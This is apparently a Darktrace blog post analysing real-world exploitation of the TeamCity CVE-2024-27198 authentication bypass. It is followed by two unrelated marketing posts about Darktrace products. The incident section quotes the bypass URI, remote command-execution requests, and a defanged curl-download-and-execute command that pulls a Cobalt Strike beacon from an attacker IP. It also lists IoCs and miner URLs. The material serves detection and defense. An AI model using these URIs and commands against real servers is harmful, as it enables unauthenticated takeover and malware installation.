Blog
/
Network
/
August 21, 2024

How Darktrace Detects TeamCity Exploitation Activity

Darktrace observed the rapid exploitation of a critical vulnerability in JetBrains TeamCity (CVE-2024-27198) shortly following its public disclosure. Learn how the need for speedy detection serves to protect against supply chain attacks.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Frank
Product Manager and Cyber Analyst
Default blog image
21
Aug 2024

The rise in vulnerability exploitation

In recent years, threat actors have increasingly been observed exploiting endpoints and services associated with critical vulnerabilities almost immediately after those vulnerabilities are publicly disclosed. The time-to-exploit for internet-facing servers is accelerating as the risk of vulnerabilities in web components continuously grows. This growth demands faster detection and response from organizations and their security teams to ward off the rising number of exploitation attempts. One such case is that of CVE-2024-27198, a critical vulnerability in TeamCity On-Premises, a popular continuous integration and continuous delivery/deployment (CI/CD) solution for DevOps teams developed by JetBrains.

The disclosure of TeamCity vulnerabilities

On March 4, 2024, JetBrains published an advisory regarding two authentication bypass vulnerabilities, CVE-2024-27198 and CVE-2024-27199, affecting TeamCity On-Premises version 2023.11.3. and all earlier versions [1].

The most severe of the two vulnerabilities, CVE-2024-27198, would enable an attacker to take full control over all TeamCity projects and use their position as a suitable vector for a significant attack across the organization’s supply chain. The other vulnerability, CVE-2024-27199, was disclosed to be a path traversal bug that allows attackers to perform limited administrative actions. On the same day, several proof-of-exploits for CVE-2024-27198 were created and shared for public use; in effect, enabling anyone with the means and intent to validate whether a TeamCity device is affected by this vulnerability [2][3].

Using CVE-2024-27198, an attacker is able to successfully call an authenticated endpoint with no authentication, if they meet three requirements during an HTTP(S) request:

  • Request an unauthenticated resource that generates a 404 response.

/hax

  • Pass an HTTP query parameter named jsp containing the value of an authenticated URI path.

?jsp=/app/rest/server

  • Ensure the arbitrary URI path ends with .jsp by appending an HTTP path parameter segment.

;.jsp

  • Once combined, the URI path used by the attacker becomes:

/hax?jsp=/app/rest/server;.jsp

Over 30,000 organizations use TeamCity to automate and build testing and deployment processes for software projects. As various On-Premises servers are internet-facing, it became a short matter of time until exposed devices were faced with the inevitable rush of exploitation attempts. On March 7, the Cybersecurity and Infrastructure Security Agency (CISA) confirmed this by adding CVE-2024-27198 to its Known Exploited Catalog and noted that it was being actively used in ransomware campaigns. A shortened time-to-exploit has become fairly common for software known to be deeply embedded into an organization’s supply chain. Darktrace detected exploitation attempts of this vulnerability in the two days following JetBrains’ disclosure [4] [5].

Shortly after the disclosure of CVE-2024-27198, Darktrace observed malicious actors attempting to validate proof-of-exploits on a number of customer environments in the financial sector. After attackers validated the presence of the vulnerability on customer networks, Darktrace observed a series of suspicious activities including malicious file downloads, command-and-control (C2) connectivity and, in some cases, the delivery of cryptocurrency miners to TeamCity devices.

Fortunately, Darktrace was able to identify this malicious post-exploitation activity on compromised servers at the earliest possible stage, notifying affected customers and advising them to take urgent mitigative actions.

Attack details

Exploit Validation Activity

On March 6, just two days after the public disclosure of CVE-2024-27198, Darktrace first observed a customer being affected by the exploitation of the vulnerability when a TeamCity device received suspicious HTTP connections from the external endpoint, 83.97.20[.]141. This endpoint was later confirmed to be malicious and linked with the exploitation of TeamCity vulnerabilities by open-source intelligence (OSINT) sources [6]. The new user agent observed during these connections suggest they were performed using Python.

Figure 1: Advanced Search results shows the user agent (python-requests/2.25) performing initial stages of exploit validation for CVE-2024-27198.

The initial HTTP requests contained the following URIs:

/hax?jsp=/app/rest/server;[.]jsp

/hax?jsp=/app/rest/users;[.]jsp

These URIs match the exact criteria needed to exploit CVE-2024-27198 and initiate malicious unauthenicated requests. Darktrace / NETWORK recognized that these HTTP connections were suspicious, thus triggering the following models to alert:

  • Device / New User Agent
  • Anomalous Connection / New User Agent to IP Without Hostname

Establish C2

Around an hour later, Darktrace observed subsequent requests suggesting that the attacker began reconnaissance of the vulnerable device with the following URIs:

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO

These URIs set an executable path to /bin/sh or cmd.exe; instructing the shell of either a Unix-like or Windows operating system to execute the command echo ReadyGO. This will display “ReadyGO” to the attacker and validate which operating system is being used by this TeamCity server.

The same  vulnerable device was then seen downloading an executable file, “beacon.out”, from the aforementioned external endpoint via HTTP on port 81, using a new user agent curl/8.4.0.

Figure 2: Darktrace’s Cyber AI Analyst detecting suspicious download of an executable file.
Figure 3: Advanced Search overview of the URIs used in the HTTP requests.

Subsequently, the attacker was seen using the curl command on the vulnerable TeamCity device to perform the following call:

“/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.conf”.

in attempt to pass the following command to the device’s command line interpreter:

“curl http://83.97.20[.]141:81/beacon.out -o .conf && chmod +x .conf && ./.conf”

From here, the attacker attempted to fetch the contents of the “beacon.out” file and create a new executable file from its output. This was done by using the -o parameter to output the results of the “beacon.out” file into a “.conf” file. Then using chmod+x to modify the file access permissions and make this file an executable aswell, before running the newly created “.conf” file.

Further investigation into the “beacon.out” file uncovered that is uses the Cobalt Strike framework. Cobalt Strike would allow for the creation of beacon components that can be configured to use HTTP to reach a C2 host [7] [8].

Cryptocurrency Mining Activities

Interestingly, prior to the confirmed exploitation of CVE-2024-27198, Darktrace observed the same vulnerable device being targeted in an attempt to deploy cryptocurrency mining malware, using a variant of the open-source mining software, XMRig. Deploying crypto-miners on vulnerable internet-facing appliances is a common tactic by financially motivated attackers, as was seen with Ivanti appliances in January 2024 [9].

Figure 4: Darktrace’s Cyber AI Analyst detects suspicious C2 activity over HTTP.

On March 5, Darktrace observed the TeamCity device connecting to another to rare, external endpoint, 146.70.149[.]185, this time using a “Windows Installer” user agent: “146.70.149[.]185:81/JavaAccessBridge-64.msi”. Similar threat activity highlighted by security researchers in January 2024, pointed to the use of a XMRig installer masquerading as an official Java utlity: “JavaAccessBridge-64.msi”. [10]

Further investigation into the external endpoint and URL address structuring, uncovered additional URIs: one serving crypto-mining malware over port 58090 and the other a C2 panel hosted on the same endpoint: “146.70.149[.]185:58090/1.sh”.

Figure 5:Crypto mining malware served over port 58090 of the rare external endpoint.

146.70.149[.]185/uadmin/adm.php

Figure 6: C2 panel on same external endpoint.

Upon closer observation, the panel resembles that of the Phishing-as-a-Service (PhaaS) provided by the “V3Bphishing kit” – a sophisticated phishing kit used to target financial institutions and their customers [11].

Darktrace Coverage

Throughout the course of this incident, Darktrace’s Cyber AI Analyst™ was able to autonomously investigate the ongoing post-exploitation activity and connect the individual events, viewing the individual suspicious connections and downloads as part of a wider compromise incident, rather than isolated events.

Figure 7: Darktrace’s Cyber AI Analyst investigates suspicious download activity.

As this particular customer was subscribed to Darktrace’s Managed Threat Detection service at the time of the attack, their internal security team was immediately notified of the ongoing compromise, and the activity was raised to Darktrace’s Security Operations Center (SOC) for triage and investigation.

Unfortunately, Darktrace’s Autonomous Response capabilities were not configured to take action on the vulnerable TeamCity device, and the attack was able to escalate until Darktrace’s SOC brought it to the customer’s attention. Had Darktrace been enabled in Autonomous Response mode, it would have been able to quickly contain the attack from the initial beaconing connections through the network inhibitor ‘Block matching connections’. Some examples of autonomous response models that likely would have been triggered include:

  • Antigena Crypto Currency Mining Block - Network Inhibitor (Block matching connections)
  • Antigena Suspicious File Block - Network Inhibitor (Block matching connections)

Despite the lack of autonomous response, Darktrace’s Self-Learning AI was still able to detect and alert for the anomalous network activity being carried out by malicious actors who had successfully exploited CVE-2024-27198 in TeamCity On-Premises.

Conclusion

In the observed cases of the JetBrains TeamCity vulnerabilities being exploited across the Darktrace fleet, Darktrace was able to pre-emptively identify and, in some cases, contain network compromises from the onset, offering vital protection against a potentially disruptive supply chain attack.

While the exploitation activity observed by Darktrace confirms the pervasive use of public exploit code, an important takeaway is the time needed for threat actors to employ such exploits in their arsenal. It suggests that threat actors are speeding up augmentation to their tactics, techniques and procedures (TTPs), especially from the moment a critical vulnerability is publicly disclosed. In fact, external security researchers have shown that CVE-2024-27198 had seen exploitation attempts within 22 minutes of a public exploit code being released  [12][13] [14].

While new vulnerabilities will inevitably surface and threat actors will continually look for novel or AI-augmented ways to evolve their methods, Darktrace’s AI-driven detection capabilities and behavioral analysis offers organizations full visibility over novel or unknown threats. Rather than relying on only existing threat intelligence, Darktrace is able to detect emerging activity based on anomaly and respond to it without latency, safeguarding customer environments whilst causing minimal disruption to business operations.

Credit to Justin Frank (Cyber Analyst & Newsroom Product Manager) and Daniela Alvarado (Senior Cyber Analyst)

Appendices

References

[1] https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/

[2] https://github.com/Chocapikk/CVE-2024-27198

[3] https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/

[4] https://www.darkreading.com/cyberattacks-data-breaches/jetbrains-teamcity-mass-exploitation-underway-rogue-accounts-thrive

[5] https://www.gartner.com/en/documents/5524495
[6]https://www.virustotal.com/gui/ip-address/83.97.20.141

[7] https://thehackernews.com/2024/03/teamcity-flaw-leads-to-surge-in.html

[8] https://www.cobaltstrike.com/product/features/beacon

[9] https://darktrace.com/blog/the-unknown-unknowns-post-exploitation-activities-of-ivanti-cs-ps-appliances

[10] https://www.trendmicro.com/en_us/research/24/c/teamcity-vulnerability-exploits-lead-to-jasmin-ransomware.html

[11] https://www.resecurity.com/blog/article/cybercriminals-attack-banking-customers-in-eu-with-v3b-phishing-kit

[12] https://www.ncsc.gov.uk/report/impact-of-ai-on-cyber-threat

[13] https://www2.deloitte.com/content/dam/Deloitte/us/Documents/risk/us-design-ai-threat-report-v2.pdf

[14] https://blog.cloudflare.com/application-security-report-2024-update

[15] https://www.virustotal.com/gui/file/1320e6dd39d9fdb901ae64713594b1153ee6244daa84c2336cf75a2a0b726b3c

Darktrace Model Detections

Device / New User Agent

Anomalous Connection / New User Agent to IP Without Hostname

Anomalous Connection / Callback on Web Facing Device

Anomalous Connection / Application Protocol on Uncommon Port

Anomalous File / EXE from Rare External Location

Anomalous File / Internet Facing System File Download

Anomalous Server Activity / New User Agent from Internet Facing System

Device / Initial Breach Chain Compromise

Device / Internet Facing Device with High Priority Alert

Indicators of Compromise (IoC)

IoC -     Type – Description

/hax?jsp=/app/rest/server;[.]jsp - URI

/app/rest/debug/processes?exePath=/bin/sh&params=-c&params=echo+ReadyGO - URI

/app/rest/debug/processes?exePath=cmd.exe&params=/c&params=echo+ReadyGO – URI -

db6bd96b152314db3c430df41b83fcf2e5712281 - SHA1 – Malicious file

/beacon.out - URI  -

/JavaAccessBridge-64.msi - MSI Installer

/app/rest/debug/processes?exePath=cmd[.]exe&params=/c&params=curl+hxxp://83.97.20[.]141:81/beacon.out+-o+.conf+&&+chmod++x+.conf+&&+./.con - URI

146.70.149[.]185:81 - IP – Malicious Endpoint

83.97.20[.]141:81 - IP – Malicious Endpoint

MITRE ATT&CK Mapping

Initial Access - Exploit Public-Facing Application - T1190

Execution - PowerShell - T1059.001

Command and Control - Ingress Tool Transfer - T1105

Resource Development - Obtain Capabilities - T1588

Execution - Vulnerabilities - T1588.006

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Frank
Product Manager and Cyber Analyst

More in this series

No items found.

Blog

/

Email

/

May 26, 2026

Journey of a Threat: How Multi-Layered AI Works in Darktrace / EMAIL

Man at a computerDefault blog imageDefault blog image

Darktrace / EMAIL is an implementation of the Darktrace methodology – a multi-layered AI system built into a single product. As with other Darktrace products, Darktrace / EMAIL learns the expected behaviours of an organization and its employees to identify novel threats and anomalous activity.

The diagram below represents the architecture of Darktrace / EMAIL’s multi-layered AI: a structured visualization of how intelligence is built, step by step, from raw data to actionable insight. Each layer plays a distinct role, feeding into the next: collecting data, understanding behaviour, analysing intent, making decisions, and presenting clear outcomes.

It all starts with an email

In this blog, we’ll follow a malicious email as it passes through the Darktrace / EMAIL system, showing exactly what happens as it travels through each layer of the pyramid, from basic data extraction to AI-powered metric creation, and finally deciding on any autonomous actions.

Let’s take this example email. As an end-user, you can see that this is an obvious extortion attempt where an adversary is threatening legal action if money isn’t paid within 24 hours, but how does Darktrace figure that out?

Part 1: Data Gathering

Processing of an email begins on point-of-transit for all inbound, outbound, or lateral emails. The first step is to extract information directly. This includes taking information from the headers (such as sending and receiving addresses, sender IP address, routing, and authentication protocols), as well as extraction of raw HTML and CSS data from the email itself.

This directly extracted information only allows for immediate surface level analysis, such as identifying signature-based attacks (known malicious addresses / domains), but is insufficient for identifying novel threats, complex attacks, or potential email or vendor compromise. This is where Darktrace’s AI analysis shines.

In this example, the SPF, DKIM, and DMARC authentication all passed successfully, showing that even malicious emails can still bypass these signature-based checks. Even with this success, Darktrace will continue to analyse the email.

Diving deeper into the technical information, we can see further information extracted from the headers, including aggregations from the header information, historical calculations such as the frequency and volume of emails to and from a particular domain, and much more.

Part 2: Social Graphing

Social Graphing involves the analysis of sending and receiving behaviours of different mailboxes to create peer-groups. Mailboxes who often send and receive to and from the same mailboxes, or exhibit other correlated behaviours, will be clustered together using a collection of unsupervised AI clustering systems. These groups may represent uses in the same teams who perform similar activity, groups of external facing mailboxes which often receive unsolicited emails, or groups of VIP users (such as C-suite or executives).

Social graphing is an essential component of Darktrace’s pattern of life analysis. This clustering allows Darktrace to understand the responsibilities of individuals – for example, behaviours which are anomalous for one group of users may be completely expected of another group.

In our example, the email was sent to 3 different users within the organization. As part of the social graphing, an “Association Anomaly” is calculated which indicates the likelihood that these users would receive emails from this user or domain, based on historical patterns.

Part 3: Metric Calculation

Metrics are calculated for every email, representing more complex characteristics of an email which can’t be directly extracted. Darktrace / EMAIL features over 1000 unique metrics, calculated both algorithmically and using an ensemble of AI systems.

Algorithmically calculated (non-AI) metrics include further historical calculations, and counts of features such as code blocks, and hidden text, to name a few.

AI-driven metrics include Inducement Classification which uses Natural Language Processing to identify potential phishing, solicitation, or extortion attempts; Named Entity Recognition to identify PII and other sensitive data within an email to support Data Loss Prevention; and many more.

We can follow our example email through this process and view the outcome of these metric calculations. Looking at the language metrics for this email, we can see that our email has reported a high extortion inducement, along with identification of banking information and language indicating urgency.

Part 4: Evaluation and Combination Engine (models)

Once all metrics have been calculated for an email, it gets sent to an evaluation and combination engine where the metrics are compared against blocks of logic to determine if an email contains a threat. One key model which alerted for this example message was a model to tag and block extortion attempts.

Since our example email has a high inducement score for extortion, along the presence of a bitcoin wallet address in the message, this model alerts. When a model in the engine is activated, actions are taken – in this case adding a tag to the email to flag it as extortion in the console and hold the email to prevent it from reaching the end-user mailbox.

Part 5: Meta-Modelling and Actions

Once the models have been run, the actions are taken against the email. If the email hasn’t been blocked or held, this is the point where it will reach the end-user's mailbox.

In the Darktrace / EMAIL UI, all actions models which alerted for an email and actions taken as a result can be seen. At the top of this page, you can see the alert indicating an extortion attempt along with the action to hold the message.

Alongside this, a meta-classifier is used to calculate an overall anomaly score for each email, based on how much the email differs from the pattern of life for the user. The score of the email is boosted by any actions that have taken place.

Part 6: Campaign Clustering

All emails are passed through the Darktrace / EMAIL campaign clustering system. This system creates clusters based on related features within the emails to identify groups of emails with the same sender or intent.

In our case, the email was identified as part of a campaign, alongside other emails which were also identified as extortion attempts against a small group of recipients.

Email campaigns may have additional actions applied to them if the campaign is deemed malicious, and in this case, you can see that the autonomous response was to hold all emails in the campaign. This means that if an email manages to avoid being blocked in the evaluation and combination engine but gets identified as part of the campaign, the hold action will be applied to it retroactively.

Part 7: Cyber AI Analyst

Darktrace’s Cyber AI Analyst presents key information and anomaly indicators for each email, such as further information about authentication, specific metrics, or other identified anomalies and mismatches.

Cyber AI Analyst can also utilize data from Darktrace / EMAIL to enhance its investigation of incidents from other Darktrace products, correlating relevant information to build a fuller picture. More information about the Cyber AI Analyst is available in the Darktrace AI Arsenal.

Part 8: Data Presentation (UI)

Once all processing has taken place against the email, it is presented in the Darktrace / EMAIL UI. Here, members of the SOC team can investigate incidents and anomalies, interact with malicious emails to see why they were blocked, and much more.

Our email stands out here with its 100 anomaly score. Every email which passes through a Darktrace / EMAIL will undergo the same thorough and rigorous analysis to identify potential risks, apply autonomous actions where required, and will ultimately be assigned a score to be displayed here. By providing a single overall score in the UI, rather than presenting emails in full, Darktrace / EMAIL allows SOC teams to more easily identify which emails are most important to investigate, increasing efficiency and reducing alert fatigue.

Take the next step

Many email security tools on the market that claim to be AI-driven are in fact bolting AI onto attack-centric approaches, which rely on automating the identification of known threats. These approaches struggle, and will continue to struggle, with adapting to novel, AI-generated threats.

By analyzing every email within its deeply integrated, multi-layered AI system, Darktrace / EMAIL is able to identify the subtle threats that others miss. This depth not only improves detection accuracy, but enables confident, autonomous action, giving security teams clearer insight into AI outcomes and greater control while supporting users.

For a full deep dive into each stage of the AI system, check out the white paper: A Guide to the Multi-Layered AI in Darktrace / EMAIL

Learn more about securing AI in your enterprise.

[related-resource]

Continue reading
About the author
Jamie Bali
Technical Author (AI) Developer

Blog

/

Network

/

May 26, 2026

Darktrace named a Leader in the 2026 Gartner® Magic Quadrant™ for Network Detection and Response (NDR) For the Second Consecutive Year

garnter ndr magic quadrantDefault blog imageDefault blog image

Continued recognition in NDR  

Darktrace has been recognized as a Leader in the 2026 Gartner® Magic Quadrant™ for Network Detection and Response (NDR), marking the second consecutive year in the Leaders quadrant.

We believe this consistency reflects sustained ability to execute, adapt, and deliver outcomes as the market evolves.

While we are immensely proud to be recognized by industry analysts as a Leader in NDR, that's just part of the story. Darktrace was also Named the Only 2025 Gartner® Peer Insights™ Customers’ Choice for Network Detection and Response based on direct customer feedback and real-world experience.

We believe the combination of these two signals is important. One reflects how the market is evaluated. The other reflects how technology performs in practice.

Why Darktrace continues to be recognized as a leader

We believe our position as a Leader for the second consecutive year reflects a combination of our sustained ability to execute in NDR, continued AI innovation, and proven delivery of security outcomes for customers and partners worldwide.

We also feel that our leadership in the NDR market is a testament to our unique and multi-layered AI approach, for which we were recognized as No.7 on Fast Company’s Most Innovative AI Companies of 2026 list, plus one of the hottest AI cybersecurity companies in CRN's AI 100.

Adapting to complex, real-world environments

Organizations are no longer protecting a single network perimeter. They are securing a mix of users, devices, applications, and data that move across hybrid environments.

Darktrace has focused on maintaining visibility and detection across these conditions, allowing security teams to understand activity as it scales.

Supporting organizations globally, not just technically

Security outcomes are shaped as much by deployment and support as they are by detection capability.

Darktrace continues to invest in regional presence across 29 countries around the world, helping organizations operationalize NDR in ways that align with local requirements, internal processes, and team structures.

Continuing to push AI beyond detection

AI in cybersecurity is often positioned as a way to improve detection accuracy. But the more important shift is how AI can influence decision-making and response.

Darktrace continues to develop models that learn from both live environments and historical incident data, combining real-time behavioral analysis with insights derived from prior attack patterns.

Using technologies such as the Incident Graph and DIGEST (Darktrace Incident Graph Evaluation for Security Threats), activity is not analyzed in isolation. Instead, relationships between users, devices, connections, and events are mapped over time, allowing the system to reconstruct how an incident is unfolding and how similar incidents have progressed in the past.

By evaluating these patterns, Darktrace can assess the likelihood that an incident will escalate, prioritizing the activity that poses the greatest risk and surfacing the most relevant context for investigation.

This shifts security operations from simply identifying anomalies to understanding their trajectory, helping teams anticipate potential impact and respond earlier with greater precision.

Why NDR is shifting from reactive detection to proactive, AI-driven security

Traditional approaches to NDR have been built around reactively identifying threats once they become clearly visible. That model is increasingly difficult to rely on.

Attackers are no longer operating in ways that stand out. They use valid credentials, trusted tools, and low-and-slow techniques that blend into everyday activity. By the time something looks obviously malicious, the impact is often already underway.

This is the core limitation of reactive detection. It depends on recognizing something that already looks like a threat.

As a result, many of the most consequential incidents today fall into a gap.

Insider activity, compromised credentials, and novel attacks rarely trigger traditional alerts because they do not follow known patterns. On the surface, they often appear legitimate, making them difficult to distinguish from normal behavior without deeper context.

This is why we believe this Gartner recognition reflects a broader shift in NDR toward autonomous, proactive and pre‑emptive security operations.

By understanding normal behavior within an environment, it is possible to identify subtle deviations rather than waiting for confirmation of threats as they are taking place.

Darktrace’s Self-Learning AI is designed for behavioral understanding. By continuously learning each organization’s normal patterns, it can detect deviations in real time, enabling a proactive and pre-emptive model of NDR where security teams can respond to early signs of risk as they emerge, reducing the window in which attacks can develop.

In multiple cases, this behavioral approach has led to early threat detection where Darktrace identified completely unknown threats, including pre-CVE zero-day activity. By detecting subtle behavioral changes before vulnerabilities were publicly disclosed or widely understood, organizations can mitigate threats before they do damage.

This shift is subtle but important. Modern NDR solutions must shift from a system that explains what happened to one that helps prevent threats from developing in the first place, and Darktrace is proud to be at the forefront of this shift - helping organizations build and maintain a state of proactive network resilience.

Continuing to innovate at the forefront of NDR

In our view, recognition as a Leader reflects where the market is today. Continuing to innovate defines what comes next.

As businesses evolve, new technologies like AI tools and agents introduce new security risks and challenges; security teams need more than simple detection. They need a complete understanding of risk as it develops, the ability to investigate it in context, and to contain threats at machine speed.  

Darktrace / NETWORK is built to deliver across that full spectrum. Its Self-Learning AI continuously adapts to each organization’s environment, identifying subtle behavioral changes that signal emerging threats. Integrated investigation and autonomous response reduce the time between detection and action, allowing teams to move with greater speed and confidence.

This combination enables organizations to detect and contain known, unknown, and insider threats as they develop, while also strengthening resilience over time.

As a two-time Leader in the Gartner® Magic Quadrant™ for NDR and the only 2025 Gartner® Peer Insights™ Customers’ Choice, we feel Darktrace continues to evolve its platform to meet the demands of modern environments, delivering a more complete and adaptive approach to network security.

[related-resource]

Disclaimer: The 2026 Gartner® Magic Quadrant™ for Network Detection and Response (NDR) ,The 2026 Gartner® Magic Quadrant™ for Network Detection and Response (NDR), Thomas Lintemuth, Charanpal Bhogal, Nahim Fazal, 18 May 2026.

Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.

GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved. Magic Quadrant is a registered trademark of Gartner, Inc. and/or its affiliates and is used herein with permission. All rights reserved.

Continue reading
About the author
Mikey Anderson
Product Marketing Manager, Network Detection & Response
Your data. Our AI.
Elevate your network security with Darktrace AI